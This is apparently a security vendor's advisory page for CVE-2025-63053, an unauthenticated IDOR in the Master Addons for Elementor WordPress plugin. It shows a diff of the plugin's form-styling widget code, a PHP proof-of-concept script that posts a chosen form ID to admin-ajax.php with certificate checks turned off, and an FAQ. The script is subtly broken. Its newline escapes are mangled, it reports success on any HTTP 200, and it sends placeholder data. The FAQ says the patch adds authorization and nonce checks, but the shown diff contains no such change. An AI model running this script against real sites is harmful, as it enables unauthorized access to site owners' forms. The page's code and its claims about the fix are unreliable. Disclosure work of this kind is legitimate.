-            'type'      => Controls_Manager::HEADING,
-            'condition' => [
-                'custom_radio_checkbox' => 'yes',
-            ],
-        ] );
-        $this->add_control( 'radio_border_radius', [
-            'label'      => __( 'Border Radius', 'master-addons' ),
-            'type'       => Controls_Manager::DIMENSIONS,
-            'size_units' => ['px', 'em', '%'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-custom-radio-checkbox input[type="radio"], {{WRAPPER}} .jltma-custom-radio-checkbox input[type="radio"]:before' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-            ],
-            'condition'  => [
-                'custom_radio_checkbox' => 'yes',
-            ],
-        ] );
-        $this->end_controls_tab();
-        $this->start_controls_tab( 'radio_checkbox_checked', [
-            'label'     => __( 'Checked', 'master-addons' ),
-            'condition' => [
-                'custom_radio_checkbox' => 'yes',
-            ],
-        ] );
-        $this->add_control( 'radio_checkbox_color_checked', [
-            'label'     => __( 'Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-custom-radio-checkbox input[type="checkbox"]:checked:before, {{WRAPPER}} .jltma-custom-radio-checkbox input[type="radio"]:checked:before' => 'background: {{VALUE}}',
-            ],
-            'condition' => [
-                'custom_radio_checkbox' => 'yes',
-            ],
-        ] );
-        $this->end_controls_tab();
-        $this->end_controls_tabs();
-        $this->end_controls_section();
-        /**
-         * Style Tab: Submit Button
-         * -------------------------------------------------
-         */
-        $this->start_controls_section( 'section_submit_button_style', [
-            'label' => __( 'Submit Button', 'master-addons' ),
-            'tab'   => Controls_Manager::TAB_STYLE,
-        ] );
-        $this->add_responsive_control( 'button_align', [
-            'label'        => __( 'Alignment', 'master-addons' ),
-            'type'         => Controls_Manager::CHOOSE,
-            'options'      => [
-                'left'   => [
-                    'title' => __( 'Left', 'master-addons' ),
-                    'icon'  => 'eicon-h-align-left',
-                ],
-                'center' => [
-                    'title' => __( 'Center', 'master-addons' ),
-                    'icon'  => 'eicon-h-align-center',
-                ],
-                'right'  => [
-                    'title' => __( 'Right', 'master-addons' ),
-                    'icon'  => 'eicon-h-align-right',
-                ],
-            ],
-            'default'      => '',
-            'prefix_class' => 'jltma-caldera-form-button-',
-            'condition'    => [
-                'button_width_type' => 'custom',
-            ],
-        ] );
-        $this->add_control( 'button_width_type', [
-            'label'        => __( 'Width', 'master-addons' ),
-            'type'         => Controls_Manager::SELECT,
-            'default'      => 'custom',
-            'options'      => [
-                'full-width' => __( 'Full Width', 'master-addons' ),
-                'custom'     => __( 'Custom', 'master-addons' ),
-            ],
-            'prefix_class' => 'jltma-caldera-form-button-',
-        ] );
-        $this->add_responsive_control( 'button_width', [
-            'label'      => __( 'Width', 'master-addons' ),
-            'type'       => Controls_Manager::SLIDER,
-            'default'    => [
-                'size' => '135',
-                'unit' => 'px',
-            ],
-            'range'      => [
-                'px' => [
-                    'min'  => 0,
-                    'max'  => 1200,
-                    'step' => 1,
-                ],
-            ],
-            'size_units' => ['px', '%'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-caldera-form .form-group input[type="submit"], {{WRAPPER}} .jltma-caldera-form .form-group input[type="button"]' => 'width: {{SIZE}}{{UNIT}}',
-            ],
-            'condition'  => [
-                'button_width_type' => 'custom',
-            ],
-        ] );
-        $this->start_controls_tabs( 'tabs_button_style' );
-        $this->start_controls_tab( 'tab_button_normal', [
-            'label' => __( 'Normal', 'master-addons' ),
-        ] );
-        $this->add_control( 'button_bg_color_normal', [
-            'label'     => __( 'Background Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form .form-group input[type="submit"], {{WRAPPER}} .jltma-caldera-form .form-group input[type="button"]' => 'background-color: {{VALUE}}',
-            ],
-        ] );
-        $this->add_control( 'button_text_color_normal', [
-            'label'     => __( 'Text Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form .form-group input[type="submit"], {{WRAPPER}} .jltma-caldera-form .form-group input[type="button"]' => 'color: {{VALUE}}',
-            ],
-        ] );
-        $this->add_group_control( Group_Control_Border::get_type(), [
-            'name'        => 'button_border_normal',
-            'label'       => __( 'Border', 'master-addons' ),
-            'placeholder' => '1px',
-            'default'     => '1px',
-            'selector'    => '{{WRAPPER}} .jltma-caldera-form .form-group input[type="submit"], {{WRAPPER}} .jltma-caldera-form .form-group input[type="button"]',
-        ] );
-        $this->add_control( 'button_border_radius', [
-            'label'      => __( 'Border Radius', 'master-addons' ),
-            'type'       => Controls_Manager::DIMENSIONS,
-            'size_units' => ['px', 'em', '%'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-caldera-form .form-group input[type="submit"], {{WRAPPER}} .jltma-caldera-form .form-group input[type="button"]' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-            ],
-        ] );
-        $this->add_responsive_control( 'button_padding', [
-            'label'      => __( 'Padding', 'master-addons' ),
-            'type'       => Controls_Manager::DIMENSIONS,
-            'size_units' => ['px', 'em', '%'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-caldera-form .form-group input[type="submit"], {{WRAPPER}} .jltma-caldera-form .form-group input[type="button"]' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-            ],
-        ] );
-        $this->add_responsive_control( 'button_margin', [
-            'label'      => __( 'Margin Top', 'master-addons' ),
-            'type'       => Controls_Manager::SLIDER,
-            'range'      => [
-                'px' => [
-                    'min'  => 0,
-                    'max'  => 100,
-                    'step' => 1,
-                ],
-            ],
-            'size_units' => ['px', 'em', '%'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-caldera-form .form-group input[type="submit"], {{WRAPPER}} .jltma-caldera-form .form-group input[type="button"]' => 'margin-top: {{SIZE}}{{UNIT}}',
-            ],
-        ] );
-        $this->add_group_control( Group_Control_Typography::get_type(), [
-            'name'      => 'button_typography',
-            'label'     => __( 'Typography', 'master-addons' ),
-            'selector'  => '{{WRAPPER}} .jltma-caldera-form .form-group input[type="submit"], {{WRAPPER}} .jltma-caldera-form .form-group input[type="button"]',
-            'separator' => 'before',
-        ] );
-        $this->add_group_control( Group_Control_Box_Shadow::get_type(), [
-            'name'      => 'button_box_shadow',
-            'selector'  => '{{WRAPPER}} .jltma-caldera-form .form-group input[type="submit"], {{WRAPPER}} .jltma-caldera-form .form-group input[type="button"]',
-            'separator' => 'before',
-        ] );
-        $this->end_controls_tab();
-        $this->start_controls_tab( 'tab_button_hover', [
-            'label' => __( 'Hover', 'master-addons' ),
-        ] );
-        $this->add_control( 'button_bg_color_hover', [
-            'label'     => __( 'Background Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form .form-group input[type="submit"]:hover, {{WRAPPER}} .jltma-caldera-form .form-group input[type="button"]:hover' => 'background-color: {{VALUE}}',
-            ],
-        ] );
-        $this->add_control( 'button_text_color_hover', [
-            'label'     => __( 'Text Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form .form-group input[type="submit"]:hover, {{WRAPPER}} .jltma-caldera-form .form-group input[type="button"]:hover' => 'color: {{VALUE}}',
-            ],
-        ] );
-        $this->add_control( 'button_border_color_hover', [
-            'label'     => __( 'Border Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form .form-group input[type="submit"]:hover, {{WRAPPER}} .jltma-caldera-form .form-group input[type="button"]:hover' => 'border-color: {{VALUE}}',
-            ],
-        ] );
-        $this->end_controls_tab();
-        $this->end_controls_tabs();
-        $this->end_controls_section();
-        /**
-         * Style Tab: Success Message
-         * -------------------------------------------------
-         */
-        $this->start_controls_section( 'section_success_message_style', [
-            'label' => __( 'Success Message', 'master-addons' ),
-            'tab'   => Controls_Manager::TAB_STYLE,
-        ] );
-        $this->add_control( 'success_message_bg_color', [
-            'label'     => __( 'Background Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form .caldera-grid .alert-success' => 'background-color: {{VALUE}}',
-            ],
-        ] );
-        $this->add_control( 'success_message_text_color', [
-            'label'     => __( 'Text Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form .caldera-grid .alert-success' => 'color: {{VALUE}}',
-            ],
-        ] );
-        $this->add_group_control( Group_Control_Border::get_type(), [
-            'name'        => 'success_message_border',
-            'label'       => __( 'Border', 'master-addons' ),
-            'placeholder' => '1px',
-            'default'     => '1px',
-            'selector'    => '{{WRAPPER}} .jltma-caldera-form .caldera-grid .alert-success',
-        ] );
-        $this->add_group_control( Group_Control_Typography::get_type(), [
-            'name'     => 'success_message_typography',
-            'label'    => __( 'Typography', 'master-addons' ),
-            'selector' => '{{WRAPPER}} .jltma-caldera-form .caldera-grid .alert-success',
-        ] );
-        $this->end_controls_section();
-        /**
-         * Style Tab: Errors
-         * -------------------------------------------------
-         */
-        $this->start_controls_section( 'section_error_style', [
-            'label' => __( 'Errors', 'master-addons' ),
-            'tab'   => Controls_Manager::TAB_STYLE,
-        ] );
-        $this->add_control( 'error_messages_heading', [
-            'label'     => __( 'Error Messages', 'master-addons' ),
-            'type'      => Controls_Manager::HEADING,
-            'condition' => [
-                'error_messages' => 'show',
-            ],
-        ] );
-        $this->add_control( 'error_message_text_color', [
-            'label'     => __( 'Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form .has-error .help-block' => 'color: {{VALUE}}',
-            ],
-            'condition' => [
-                'error_messages' => 'show',
-            ],
-        ] );
-        $this->add_control( 'error_fields_heading', [
-            'label'     => __( 'Error Fields', 'master-addons' ),
-            'type'      => Controls_Manager::HEADING,
-            'separator' => 'before',
-        ] );
-        $this->add_control( 'error_fields_label_color', [
-            'label'     => __( 'Label Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form .has-error .control-label' => 'color: {{VALUE}}',
-            ],
-        ] );
-        $this->add_group_control( Group_Control_Border::get_type(), [
-            'name'        => 'error_field_border',
-            'label'       => __( 'Input Border', 'master-addons' ),
-            'placeholder' => '1px',
-            'default'     => '1px',
-            'selector'    => '{{WRAPPER}} .jltma-caldera-form .has-error input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]), {{WRAPPER}} .jltma-caldera-form .has-error textarea',
-        ] );
-        $this->end_controls_section();
-        $this->upgrade_to_pro_message();
-    }
-
-    protected function render() {
-        $settings = $this->get_settings();
-        // if Caldera Forms Missing
-        if ( !class_exists( 'Caldera_Forms' ) ) {
-            Master_Addons_Helper::jltma_elementor_plugin_missing_notice( array(
-                'plugin_name' => esc_html__( 'Caldera Forms', 'master-addons' ),
-            ) );
-            return;
-        }
-        $this->add_render_attribute( 'contact-form', 'class', [
-            'ma-cf',
-            'jltma-caldera-form',
-            'ma-cf',
-            'ma-cf-' . esc_attr( $settings['ma_caldera_form_layout_style'] )
-        ] );
-        if ( $settings['placeholder_switch'] != 'yes' ) {
-            $this->add_render_attribute( 'contact-form', 'class', 'placeholder-hide' );
-        }
-        if ( $settings['custom_title_description'] == 'yes' ) {
-            $this->add_render_attribute( 'contact-form', 'class', 'title-description-hide' );
-        }
-        if ( $settings['custom_radio_checkbox'] == 'yes' ) {
-            $this->add_render_attribute( 'contact-form', 'class', 'jltma-custom-radio-checkbox' );
-        }
-        if ( class_exists( 'Caldera_Forms' ) ) {
-            if ( !empty( $settings['contact_form_list'] ) ) {
-                ?>
-				<div <?php
-                echo $this->get_render_attribute_string( 'contact-form' );
-                ?>>
-					<?php
-                if ( $settings['custom_title_description'] == 'yes' ) {
-                    ?>
+
+
+if (!defined('ABSPATH')) exit; // If this file is called directly, abort.
+
+
+class JLTMA_Caldera_Forms extends Widget_Base
+{
+	use MasterAddonsIncTraitsWidget_Notice;
+
+	public function get_name()
+	{
+		return 'ma-caldera-forms';
+	}
+
+	public function get_title()
+	{
+		return esc_html__('Caldera Forms', 'master-addons' );
+	}
+
+	public function get_icon()
+	{
+		return 'jltma-icon eicon-mail';
+	}
+
+	public function get_categories()
+	{
+		return ['master-addons'];
+	}
+
+	// for Cached Output
+	protected function is_dynamic_content(): bool
+	{
+		return false;
+	}
+
+	protected function register_controls()
+	{
+
+		/*-----------------------------------------------------------------------------------*/
+		/*	Content Tab
+			/*-----------------------------------------------------------------------------------*/
+
+		/**
+		 * Content Tab: Caldera Forms
+		 * -------------------------------------------------
+		 */
+		$this->start_controls_section(
+			'section_info_box',
+			[
+				'label' => esc_html__('Caldera Forms', 'master-addons' ),
+			]
+		);
+
+		$this->add_control(
+			'contact_form_list',
+			[
+				'label'       => esc_html__('Contact Form', 'master-addons' ),
+				'type'        => Controls_Manager::SELECT,
+				'label_block' => true,
+				'options'     => Master_Addons_Helper::ma_el_get_caldera_forms(),
+				'default'     => '0',
+			]
+		);
+
+		$this->add_control(
+			'custom_title_description',
+			[
+				'label'        => __('Custom Title & Description', 'master-addons' ),
+				'type'         => Controls_Manager::SWITCHER,
+				'label_on'     => __('Yes', 'master-addons' ),
+				'label_off'    => __('No', 'master-addons' ),
+				'return_value' => 'yes',
+			]
+		);
+
+		$this->add_control(
+			'form_title_custom',
+			[
+				'label'       => esc_html__('Title', 'master-addons' ),
+				'type'        => Controls_Manager::TEXT,
+				'label_block' => true,
+				'default'     => '',
+				'condition'   => [
+					'custom_title_description' => 'yes',
+				],
+			]
+		);
+
+		$this->add_control(
+			'form_description_custom',
+			[
+				'label'     => esc_html__('Description', 'master-addons' ),
+				'type'      => Controls_Manager::TEXTAREA,
+				'default'   => '',
+				'condition' => [
+					'custom_title_description' => 'yes',
+				],
+			]
+		);
+
+		$this->add_control(
+			'labels_switch',
+			[
+				'label'        => __('Labels', 'master-addons' ),
+				'type'         => Controls_Manager::SWITCHER,
+				'default'      => 'yes',
+				'label_on'     => __('Show', 'master-addons' ),
+				'label_off'    => __('Hide', 'master-addons' ),
+				'return_value' => 'yes',
+				'prefix_class' => 'jltma-caldera-form-labels-',
+			]
+		);
+
+		$this->add_control(
+			'placeholder_switch',
+			[
+				'label'        => __('Placeholder', 'master-addons' ),
+				'type'         => Controls_Manager::SWITCHER,
+				'default'      => 'yes',
+				'label_on'     => __('Show', 'master-addons' ),
+				'label_off'    => __('Hide', 'master-addons' ),
+				'return_value' => 'yes',
+			]
+		);
+
+		$this->end_controls_section();
+
+		/**
+		 * Content Tab: Errors
+		 * -------------------------------------------------
+		 */
+		$this->start_controls_section(
+			'section_errors',
+			[
+				'label' => __('Errors', 'master-addons' ),
+			]
+		);
+
+		$this->add_control(
+			'error_messages',
+			[
+				'label'   => __('Error Messages', 'master-addons' ),
+				'type'    => Controls_Manager::SELECT,
+				'default' => 'show',
+				'options' => [
+					'show' => __('Show', 'master-addons' ),
+					'hide' => __('Hide', 'master-addons' ),
+				],
+				'selectors_dictionary'  => [
+					'show' => 'block',
+					'hide' => 'none',
+				],
+				'selectors'             => [
+					'{{WRAPPER}} .jltma-caldera-form .has-error .parsley-required' => 'display: {{VALUE}} !important;',
+				],
+			]
+		);
+
+		$this->end_controls_section();
+
+		/*-----------------------------------------------------------------------------------*/
+		/*	Style Tab
+			/*-----------------------------------------------------------------------------------*/
+
+		$this->start_controls_section(
+			'ma_caldera_form_section_style',
+			[
+				'label' => esc_html__('Design Layout', 'master-addons' ),
+				'tab'   => Controls_Manager::TAB_STYLE,
+			]
+		);
+
+
+		// Define default free options - Pro version overrides via filter
+		$layout_style_options = apply_filters('master_addons/addons/caldera_forms/layout_style', [
+			'1'         => __('Style One', 'master-addons'),
+			'2'         => __('Style Two', 'master-addons'),
+			'3'         => __('Style Three', 'master-addons'),
+			'4'         => __('Style Four', 'master-addons'),
+			'5'         => __('Style Five', 'master-addons'),
+			'clf-pro-1' => __('Style Six (Pro)', 'master-addons'),
+			'clf-pro-2' => __('Style Seven (Pro)', 'master-addons'),
+			'clf-pro-3' => __('Style Eight (Pro)', 'master-addons'),
+			'clf-pro-4' => __('Style Nine (Pro)', 'master-addons'),
+			'clf-pro-5' => __('Style Ten (Pro)', 'master-addons'),
+			'clf-pro-6' => __('Style Eleven (Pro)', 'master-addons'),
+		]);
+
+		$this->add_control(
+			'ma_caldera_form_layout_style',
+			[
+				'label'       => __('Design Variations', 'master-addons'),
+				'type'        => Controls_Manager::SELECT,
+				'default'     => '1',
+				'options'     => $layout_style_options,
+				'description' => Master_Addons_Helper::upgrade_to_pro('10+ more Variations on'),
+			]
+		);
+
+
+		$this->end_controls_section();
+
+
+
+		/**
+		 * Style Tab: Form Title & Description
+		 * -------------------------------------------------
+		 */
+		$this->start_controls_section(
+			'section_form_title_style',
+			[
+				'label'     => __('Title & Description', 'master-addons' ),
+				'tab'       => Controls_Manager::TAB_STYLE,
+				'condition' => [
+					'custom_title_description' => 'yes',
+				],
+			]
+		);
+
+		$this->add_responsive_control(
+			'heading_alignment',
+			[
+				'label'   => __('Alignment', 'master-addons' ),
+				'type'    => Controls_Manager::CHOOSE,
+				'options' => Master_Addons_Helper::jltma_content_alignment(),
+				'default'   => '',
+				'selectors' => [
+					'{{WRAPPER}} .jltma-caldera-form-heading' => 'text-align: {{VALUE}};',
+				],
+				'condition'             => [
+					'custom_title_description' => 'yes',
+				],
+			]
+		);
+
+		$this->add_control(
+			'title_heading',
+			[
+				'label'     => __('Title', 'master-addons' ),
+				'type'      => Controls_Manager::HEADING,
+				'separator' => 'before',
+				'condition' => [
+					'custom_title_description' => 'yes',
+				],
+			]
+		);
+
+		$this->add_control(
+			'form_title_text_color',
+			[
+				'label'     => __('Text Color', 'master-addons' ),
+				'type'      => Controls_Manager::COLOR,
+				'default'   => '',
+				'selectors' => [
+					'{{WRAPPER}} .jltma-contact-form-title' => 'color: {{VALUE}}',
+				],
+				'condition'             => [
+					'custom_title_description' => 'yes',
+				],
+			]
+		);
+
+		$this->add_group_control(
+			Group_Control_Typography::get_type(),
+			[
+				'name'      => 'form_title_typography',
+				'label'     => __('Typography', 'master-addons' ),
+				'selector'  => '{{WRAPPER}} .jltma-contact-form-title',
+				'global' => [
+					'default' => Global_Typography::TYPOGRAPHY_TEXT,
+				],
+				'condition' => [
+					'custom_title_description' => 'yes',
+				],
+			]
+		);
+
+		$this->add_responsive_control(
+			'form_title_margin',
+			[
+				'label'              => __('Margin', 'master-addons' ),
+				'type'               => Controls_Manager::DIMENSIONS,
+				'size_units'         => ['px', 'em', '%'],
+				'allowed_dimensions' => 'vertical',
+				'placeholder'        => [
+					'top'    => '',
+					'right'  => 'auto',
+					'bottom' => '',
+					'left'   => 'auto',
+				],
+				'selectors'             => [
+					'{{WRAPPER}} .jltma-contact-form-title' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+				],
+				'condition'             => [
+					'custom_title_description' => 'yes',
+				],
+			]
+		);
+
+		$this->add_control(
+			'description_heading',
+			[
+				'label'     => __('Description', 'master-addons' ),
+				'type'      => Controls_Manager::HEADING,
+				'separator' => 'before',
+				'condition' => [
+					'custom_title_description' => 'yes',
+				],
+			]
+		);
+
+		$this->add_control(
+			'form_description_text_color',
+			[
+				'label'     => __('Text Color', 'master-addons' ),
+				'type'      => Controls_Manager::COLOR,
+				'default'   => '',
+				'selectors' => [
+					'{{WRAPPER}} .jltma-contact-form-description' => 'color: {{VALUE}}',
+				],
+				'condition'             => [
+					'custom_title_description' => 'yes',
+				],
+			]
+		);
+
+		$this->add_group_control(
+			Group_Control_Typography::get_type(),
+			[
+				'name'      => 'form_description_typography',
+				'label'     => __('Typography', 'master-addons' ),
+				'global'    => [
+					'default' => Global_Typography::TYPOGRAPHY_ACCENT,
+				],
+				'selector'  => '{{WRAPPER}} .jltma-contact-form-description',
+				'condition' => [
+					'custom_title_description' => 'yes',
+				],
+			]
+		);
+
+		$this->add_responsive_control(
+			'form_description_margin',
+			[
+				'label'              => __('Margin', 'master-addons' ),
+				'type'               => Controls_Manager::DIMENSIONS,
+				'size_units'         => ['px', 'em', '%'],
+				'allowed_dimensions' => 'vertical',
+				'placeholder'        => [
+					'top'    => '',
+					'right'  => 'auto',
+					'bottom' => '',
+					'left'   => 'auto',
+				],
+				'selectors'             => [
+					'{{WRAPPER}} .jltma-contact-form-description' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+				],
+				'condition'             => [
+					'custom_title_description' => 'yes',
+				],
+			]
+		);
+
+		$this->end_controls_section();
+
+		/**
+		 * Style Tab: Labels
+		 * -------------------------------------------------
+		 */
+		$this->start_controls_section(
+			'section_label_style',
+			[
+				'label' => __('Labels', 'master-addons' ),
+				'tab'   => Controls_Manager::TAB_STYLE,
+			]
+		);
+
+		$this->add_control(
+			'text_color_label',
+			[
+				'label'     => __('Text Color', 'master-addons' ),
+				'type'      => Controls_Manager::COLOR,
+				'selectors' => [
+					'{{WRAPPER}} .jltma-caldera-form .form-group label' => 'color: {{VALUE}}',
+				],
+			]
+		);
+
+		$this->add_group_control(
+			Group_Control_Typography::get_type(),
+			[
+				'name'     => 'typography_label',
+				'label'    => __('Typography', 'master-addons' ),
+				'selector' => '{{WRAPPER}} .jltma-caldera-form .form-group label',
+			]
+		);
+
+		$this->end_controls_section();
+
+		/**
+		 * Style Tab: Input & Textarea
+		 * -------------------------------------------------
+		 */
+		$this->start_controls_section(
+			'section_fields_style',
+			[
+				'label' => __('Input & Textarea', 'master-addons' ),
+				'tab'   => Controls_Manager::TAB_STYLE,
+			]
+		);
+
+		$this->add_responsive_control(
+			'input_alignment',
+			[
+				'label'   => __('Alignment', 'master-addons' ),
+				'type'    => Controls_Manager::CHOOSE,
+				'options' => Master_Addons_Helper::jltma_content_alignment(),
+				'default'   => '',
+				'selectors' => [
+					'{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]), {{WRAPPER}} .jltma-caldera-form .form-group textarea, {{WRAPPER}} .jltma-caldera-form .form-group select' => 'text-align: {{VALUE}};',
+				],
+			]
+		);
+
+		$this->start_controls_tabs('tabs_fields_style');
+
+		$this->start_controls_tab(
+			'tab_fields_normal',
+			[
+				'label' => __('Normal', 'master-addons' ),
+			]
+		);
+
+		$this->add_control(
+			'field_bg_color',
+			[
+				'label'     => __('Background Color', 'master-addons' ),
+				'type'      => Controls_Manager::COLOR,
+				'default'   => '',
+				'selectors' => [
+					'{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]), {{WRAPPER}} .jltma-caldera-form .form-group textarea, {{WRAPPER}} .jltma-caldera-form .form-group select' => 'background-color: {{VALUE}}',
+				],
+			]
+		);
+
+		$this->add_control(
+			'field_text_color',
+			[
+				'label'     => __('Text Color', 'master-addons' ),
+				'type'      => Controls_Manager::COLOR,
+				'default'   => '',
+				'selectors' => [
+					'{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([t

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-63053 - Master Addons for Elementor <= 2.0.9.9.4 - Unauthenticated Insecure Direct Object Reference

<?php
/**
 * Proof of Concept for CVE-2025-63053
 * Unauthenticated IDOR in Master Addons for Elementor plugin
 *
 * Usage: php poc.php --url https://target.site --form-id 123
 */

$target_url = "https://target.site"; // Configure target URL
$form_id = 123; // Target form ID to exploit

// Build the AJAX endpoint
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// Prepare the malicious payload
$payload = [
    'action' => 'jltma_caldera_form_submit',
    'formId' => $form_id,
    'data' => [
        'field_1' => 'test_value',
        'field_2' => 'exploit_data'
    ]
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate request
$headers = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Content-Type: application/x-www-form-urlencoded',
    'X-Requested-With: XMLHttpRequest'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Execute the exploit
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check results
if ($http_code === 200) {
    echo "[+] Exploit successful! HTTP 200 response received.n";
    echo "[+] Response: " . substr($response, 0, 500) . "n";
    
    // Parse JSON response if available
    $json_response = json_decode($response, true);
    if ($json_response) {
        echo "[+] JSON Response: " . print_r($json_response, true) . "n";
    }
} else {
    echo "[-] Exploit failed. HTTP Code: $http_coden";
    echo "[-] Response: " . $response . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

What is CVE-2025-63053?
Understanding the vulnerability
CVE-2025-63053 is an unauthenticated Insecure Direct Object Reference (IDOR) vulnerability in the Master Addons for Elementor plugin for WordPress. It allows unauthenticated attackers to perform unauthorized actions by manipulating a user-controlled key parameter, specifically in the form submission handling logic.
How does the vulnerability work?
Mechanics of the exploitation
The vulnerability exists in the `jltma_caldera_form_submit` function, which processes AJAX requests without proper authorization checks. Attackers can send a POST request to the AJAX endpoint with a manipulated `formId` parameter, allowing them to access and submit forms they should not have permission to.
Who is affected by this vulnerability?
Identifying impacted users
All users of the Master Addons for Elementor plugin versions up to and including 2.0.9.9.4 are affected by this vulnerability. WordPress administrators using these versions should verify their plugin status to assess their risk.
How can I check if I am using a vulnerable version?
Steps to verify your plugin version
To check if you are using a vulnerable version of the Master Addons plugin, navigate to the Plugins section in your WordPress admin dashboard. Look for the Master Addons plugin and check the version number; if it is 2.0.9.9.4 or lower, you are at risk.
What is the severity of this vulnerability?
Understanding the risk level
CVE-2025-63053 has a medium severity rating with a CVSS score of 5.3. This indicates a moderate risk where exploitation could lead to unauthorized access to sensitive data or functionality, but it requires some level of skill to exploit.
How can I fix or mitigate this vulnerability?
Recommended actions
To fix this vulnerability, update the Master Addons for Elementor plugin to version 2.1.0 or later, where the issue has been patched. Regularly updating plugins and monitoring for vulnerabilities is essential for maintaining security.
What does the patch do to resolve the issue?
Details of the security fix
The patch for CVE-2025-63053 adds comprehensive authorization checks before processing form submissions. It ensures that user permissions are validated for the specified form ID and implements nonce verification to prevent unauthorized access.
What could happen if this vulnerability is exploited?
Potential consequences
If exploited, this vulnerability allows attackers to submit unauthorized form entries, potentially leading to data leakage, unauthorized data collection, and disruption of form processing workflows. This could compromise sensitive information handled by the forms.
How does the proof of concept demonstrate the issue?
Explaining the provided PoC
The proof of concept (PoC) demonstrates the vulnerability by showing how an attacker can send a crafted POST request to the AJAX endpoint with a manipulated `formId`. This illustrates how unauthorized actions can be performed without authentication, highlighting the security flaw.
What is an Insecure Direct Object Reference (IDOR)?
Defining IDOR vulnerabilities
An Insecure Direct Object Reference (IDOR) occurs when an application exposes a reference to an internal implementation object, allowing attackers to bypass authorization and access unauthorized data. This vulnerability often arises from insufficient validation of user input.
How can I stay informed about vulnerabilities like this?
Keeping up with security updates
To stay informed about vulnerabilities, regularly check security advisories from trusted sources, subscribe to security mailing lists, and follow WordPress security blogs. Additionally, consider using security plugins that monitor for vulnerabilities in your WordPress installation.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategies
If you cannot update the plugin immediately, consider disabling the Master Addons for Elementor plugin until you can apply the patch. Additionally, review your site’s security settings and restrict access to sensitive areas to mitigate potential exploitation.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations